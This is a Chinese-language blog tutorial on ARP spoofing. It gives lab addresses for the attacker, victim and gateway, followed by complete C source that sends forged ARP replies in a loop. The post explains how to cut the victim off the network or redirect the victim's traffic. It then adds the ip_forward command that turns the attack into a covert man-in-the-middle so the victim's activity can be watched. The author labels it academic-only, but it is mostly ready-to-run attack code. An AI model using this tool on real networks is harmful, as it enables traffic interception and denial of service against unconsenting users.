Social Icons

twitterfacebookgoogle plusrss feedemail

4/01/2013

Arp Spoofing 欺騙攻擊-實作

上一篇文章講到怎麼查看ARP封包的資訊,現在這邊開始要講一些ARP封包的應用,在開始之前必須聲明一下 本實驗僅供學術實驗用途...請勿拿來打你鄰居阿...

一、步驟:

攻擊者: IP:192.168.136.131 MAC: {0x00, 0x0c, 0x29, 0xab, 0x9a, 0xd7}
被攻擊者:IP: 192.168.136.132 MAC: {0x00, 0x0c, 0x29, 0xd1, 0xab, 0x11}
gateway: IP:192.168.136.2 MAC:{0x00,0x50,0x56,0xf0,0xdd,0x74}

攻擊者發送arp封包給被攻擊者,告知被攻擊者 錯誤的gateway MAC address

二、實驗操作影片


建議切換至HD畫質欣賞

三、實驗結果
wireshark

點圖可放大


四、程式碼
請參考前一篇文章的標頭檔
記得使用root權限執行!
如果單純只是想讓對方斷網,請把主程式所有的MAC_SOURCE改成 MAC_SPOOFING
如果想把封包導向自己,就使用 MAC_SOURCE(記得改成自己的MAC)
IP_TRICK 記得給成gateway的IP
MAC_TARGET記得改成被攻擊者的MAC
IP_TARGET 記得改違被攻擊者的IP

#include "arp.h"
unsigned char MAC_SPOOFING[6]={0x00, 0x00, 0x00, 0x00, 0x00, 0x00};//fix me
unsigned char MAC_SOURCE[6]={0x00, 0x0c, 0x29, 0xab, 0x9a, 0xd7};//fix me
//冒充的IP (ex: gateway)
#define IP_TRICK "192.168.136.2"//fix me
//要攻擊的MAC
unsigned char MAC_TARGET[6]={0x00, 0x0c, 0x29, 0xd1, 0xab, 0x11};//fix me
//要攻擊的IP
#define IP_TARGET "192.168.136.132"//fix me
int main(void)
{
    int sfd, len;
    struct arp_packet arp;
    struct in_addr inaddr_sender, inaddr_receiver;
    struct sockaddr_ll sl;
    sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if(-1 == sfd)
    {
        Debug_printf("socket");
    }
    memset(&arp, 0, sizeof(arp));

   //padding package
    memcpy(arp.mac_target,MAC_TARGET,sizeof(MAC_TARGET));
    memcpy(arp.mac_source, MAC_SOURCE,sizeof(MAC_SOURCE));
    arp.ethertype = htons(ETH_P_ARP);
    arp.hw_type = htons(0x1);
    arp.proto_type = htons(ETH_P_IP);
    arp.mac_addr_len = ETH_ALEN;
    arp.ip_addr_len = 4;
    arp.operation_code = htons(0x2);//0x1表示ARP請求包,0x2表示應答包
    memcpy(arp.mac_sender, MAC_SOURCE,sizeof(MAC_SOURCE));
    inet_aton(IP_TRICK, &inaddr_sender);
    memcpy(&arp.ip_sender, &inaddr_sender, sizeof(inaddr_sender));
    memcpy(arp.mac_receiver,MAC_TARGET,sizeof(MAC_TARGET));
    inet_aton(IP_TARGET, &inaddr_receiver);
    memcpy(&arp.ip_receiver, &inaddr_receiver, sizeof(inaddr_receiver));

    memset(&sl, 0, sizeof(sl));
    sl.sll_family = AF_PACKET;
    sl.sll_ifindex = IFF_BROADCAST;
    while(1)
    {
        len = sendto(sfd, &arp, sizeof(arp), 0, (struct sockaddr*)&sl, sizeof(sl));
        if(-1 == len)
        {
            Debug_printf("sendto");
        }
        else
            printf("sendto over \n");
        sleep(2);
        //usleep(1000); //更快的攻擊
    }
    return 0;
}


在這邊的攻擊是我們告知被攻擊者錯誤的gateway MAC address,如果我們告知被攻擊者的MAC Addres是攻擊者的MAC Addres,這時候被攻擊者的封包則會傳送給攻擊者!但是如果單純只是把被攻擊者的封包轉向給自己這樣沒有用,被攻擊者還是不能上網,對方早晚很容易就可以察覺到有問題,所以攻擊者要開啟ip_forward,這樣被攻擊者還是可以正常上網,但是封包都會先經過你這邊!!
echo 1 > /proc/sys/net/ipv4/ip_forward
如果上面不能使用可以使用 將裡面的數字改成1
vim /proc/sys/net/ipv4/ip_forward   
確認一下 cat /proc/sys/net/ipv4/ip_forward 是不是顯示1 ~

這時候就很恐怖了,被攻擊者在自己電腦所做的事情一舉一動都會被看到,所以建議每個人電腦還是要安裝毒軟體或者防火牆阿!!!
(以上僅供學習學術用途,請勿做非法的事情...)

沒有留言:

張貼留言

俗話說
凡走過必留下痕跡,凡住過必留下鄰居
凡爬過必留下樓梯,凡來過必留下IP
看過文章之後歡迎留下您寶貴的意見喔!

 
 
无觅相关文章插件,迅速提升网站流量